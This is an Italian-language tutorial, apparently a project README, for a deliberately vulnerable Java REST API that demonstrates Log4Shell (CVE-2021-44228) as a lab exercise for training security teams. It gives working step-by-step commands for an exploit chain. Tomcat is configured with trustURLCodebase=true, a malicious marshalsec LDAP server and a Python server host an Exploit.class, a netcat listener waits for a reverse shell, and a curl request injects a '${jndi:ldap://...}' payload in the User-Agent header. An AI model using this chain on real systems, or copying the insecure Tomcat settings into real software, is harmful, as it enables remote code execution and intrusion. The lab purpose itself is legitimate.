
Un'API REST vulnerabile basata su Java per dimostrare CVE-2021-44228 (log4shell).
Un'API REST Java vulnerabile per dimostrare la CVE-2021-44228 (log4shell).
Log4Shell ha travolto internet all'inizio di dicembre 2021. Una vulnerabilità Zero Day nella libreria di logging Apache Log4j, capace di eseguire codice in remoto (RCE), che ha costretto organizzazioni in tutto il mondo a correre ai ripari per correggere/patchare/mitigare le loro applicazioni Java esposte al pubblico. Mentre la community InfoSec si è riunita per fornire analisi e soluzioni continue ai team di sicurezza, la community di Log4j era impegnata a sviluppare patch per porre fine a questa vulnerabilità.
Ho sviluppato questa semplice API REST vulnerabile che dimostra il percorso verso l'esecuzione di codice in remoto (RCE) sfruttando questa vulnerabilità tramite il server applicativo Apache Tomcat. Spero che questa prova di concetto possa essere utilizzata per formare i tuoi team SecOps o per istruire gli sviluppatori di applicazioni attuali e futuri. Forma i tuoi team e migliora le tue difese, inclusi ma non limitati a, regole/alert SIEM, EDR, SOAR.
Per comprendere il flusso di lavoro di questo attacco, dai un'occhiata a questa grafica fornita dal Swiss Government Computer Emergency Response Team GovCERT.ch: https://www.govcert.ch/blog/zero-day-exploit-targeting-popular-java-library-log4j/assets/log4j_attack.png
Questo tutorial e il codice sorgente sono forniti esclusivamente a scopo educativo e formativo. Si prega di utilizzarli in modo etico e responsabile. Questo tutorial è stato preparato presupponendo che l'attaccante e l'applicazione vulnerabile si trovino sullo stesso computer. Per un'esperienza più realistica, distribuisci l'architettura ed esegui l'applicazione vulnerabile su un server dedicato e usa qualcosa come Kali Linux o un'altra distribuzione per simulare l'attaccante.
Iniziamo.
Una volta installati Java JDK e Maven, supponendo che tu sia su una distribuzione Linux, spostati nella directory della tua vuln4japi e compila il tuo progetto.
Nota: Potresti voler modificare alcuni componenti dell'app prima di compilarla. Ad esempio, puoi modificare il percorso dei log log4j nel file log4j2.xml. Oppure potresti voler cambiare il nome del file war risultante nel file pom.xml. Dipende interamente da te.
cd /path/to/vuln4japi
mvn clean package -DskipTests
Se non vedi errori di compilazione, dovresti avere una directory target appena creata con il tuo file vuln4japi.war. Ok, torneremo su questo file tra poco. Diamo un'occhiata brevemente a Tomcat.
A seconda della tua versione di Java 8, le versioni successive di 8 potrebbero avere questa particolare impostazione (com.sun.jndi.ldap.object.trustURLCodebase) impostata su false. Questo di fatto impedisce a JNDI di caricare una codebase remota tramite LDAP. Ed è proprio ciò che questa vulnerabilità sfrutta. Quindi, dobbiamo modificare il file catalina.properties di Tomcat per impostare questa impostazione di sistema su True, rendendo Tomcat intenzionalmente vulnerabile.
Una volta scaricato apache-tomcat-8.0.32.tar.gz per Linux, estrailo da qualche parte come la directory /opt.
tar -xvf apache-tomcat-8.0.32.tar.gz -C /opt
Spostati nella directory /conf e modifica catalina.properties in fondo al file.
Nota: Usa il tuo editor di testo preferito. In questo esempio uso vim.
cd /opt/apache-tomcat-8.0.32/conf
vim catalina.properties
# aggiungi le seguenti proprietà di sistema alla fine
com.sun.jndi.ldap.object.trustURLCodebase=true
com.sun.jndi.rmi.object.trustURLCodebase=true
com.sun.jndi.cosnaming.object.trustURLCodebase=true
Esci dal tuo editor di testo e avvia Tomcat usando lo script catalina.sh nella directory /bin.
cd /opt/apache-tomcat-8.0.32/bin
./catalina.sh start
Testa la tua istanza di Apache Tomcat navigando su http://localhost:8080/ o con un semplice comando cURL dalla riga di comando.
curl -vv http://localhost:8080/
Se vedi una pagina di benvenuto nel browser o nel terminale, allora dovrebbe funzionare. Ora possiamo distribuire la nostra App Vulnerabile.
Copia il tuo file .war nella directory /webapps di Tomcat. Tomcat distribuirà a caldo la tua applicazione in pochi secondi.
cp /vuln4jpi/target/vuln4japi.war /opt/apache-tomcat-8.0.32/webapps
Testa la tua app vulnerabile navigando sull'URL dell'app o di nuovo usando cURL dalla riga di comando. Sul browser: http://localhost:8080/vuln4japi/api
curl -vv http://localhost:8080/vuln4japi/api
Dovresti vedere il seguente messaggio visualizzato, Hi, this is a Vulnerable App!!
Ora che abbiamo alcuni componenti funzionanti, sfruttiamo questa cosa...
Il progetto marshalsec è un'ottima risorsa per comprendere questo tipo di attacco in dettaglio. In sostanza, agisce come un server LDAP dannoso che poi reindirizza qualsiasi richiesta a un server web dannoso che ospita il file .class. Raccomando vivamente di rivedere parte della documentazione pubblicata sul repository Github di mbechler prima di usare marshalsec: https://github.com/mbechler/marshalsec
Se decidi di saltare i dettagli tecnici e la documentazione, clona quel repository e spostati nella sua directory. Ora, prima di compilare quel progetto Java, ti consiglio di aggiungere una dichiarazione di debug di una riga nel file LDAPRefServer.java. Questa istruzione di stampa sarà utile quando si cattura la query LDAP dal server vulnerabile.
Usando il tuo editor di testo preferito, modifica il seguente file e aggiungi la riga come mostrato nel blocco di codice sottostante, nel metodo processSearchResult().
vim marshalsec/src/main/java/marshalsec/jndi/LDAPRefServer.java
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
// aggiungi questa riga per mostrare le informazioni complete della richiesta
System.out.println("Request: " + result.getRequest());
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
Una volta modificato il file, salva ed esci dal tuo editor di testo. Ora dovresti essere in grado di compilare il progetto marshalsec usando Maven. Torna alla radice della cartella marshalsec ed esegui maven.
mvn clean package -DskipTests
Se non ci sono errori di compilazione, dovresti vedere la directory /marshalsec/target appena creata con il file marshalsec-0.0.3-SNAPSHOT-all.jar incluso.
Prepariamo il resto dei nostri strumenti da attaccante prima di eseguire il nostro server LDAP dannoso marshalsec.
Spostati nella cartella exploitz e compila il file Exploit.java incluso.
javac Exploit.java
Se non ottieni errori, dovresti avere un file Exploit.class.
Dovrebbe bastare. Dovresti avere tutto ciò di cui hai bisogno compilato e il Web Server in esecuzione. Di nuovo, supponendo che tu stia eseguendo questo test su un server Linux, aprirai almeno 5 finestre di Terminale.
Terminale 1: Esegui marshalsec
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://localhost:8081/#Exploit" 1389
Terminale 2: Spostati nella directory xploitz dove si trova il tuo Exploit.class ed esegui un server Python locale.
python3 -m http.server 8081
Terminale 3: Segui il tuo file /tmp/logs/vuln4jpi_log4j.log per monitorare le richieste fatte alla tua app vulnerabile.
tail -f /tmp/logs/vuln4japi_log4j.log
Terminale 4: Apri un listener netcat sulla porta 8001. Questa sarà la connessione di reverse shell dallo stesso host, ovviamente. Ricorda, stiamo facendo tutto questo sullo stesso host. Per un'esperienza reale, prova a usare 2 o 3 computer diversi.
nc -lv 8001
Terminale 5: Invia il tuo payload usando un semplice comando cURL.
curl -vv http://localhost:8080/vuln4japi/api -H 'User-Agent: ${jndi:ldap://localhost:1389/a}'
Se tutto funziona come previsto, dovresti avere una shell inoltrata al tuo listener netcat sulla porta 8001. Rivedi tutte le tue finestre di Terminale e osserva il comportamento in ciascuna di esse cercando eventuali refusi o errori di sintassi. C'è molto in gioco qui, quindi l'errore umano è sempre in agguato. Fai qualche tentativo finché non lo padroneggi. Potresti dover modificare un po' il sorgente, ma ehi, è così che si impara. ;-)
Spero che ti diverta ad imparare da questo progetto tanto quanto io mi sono divertito a realizzarlo. Trovami su twitter @offswitchsec se hai feedback o commenti. Buon divertimento e Buon Hacking!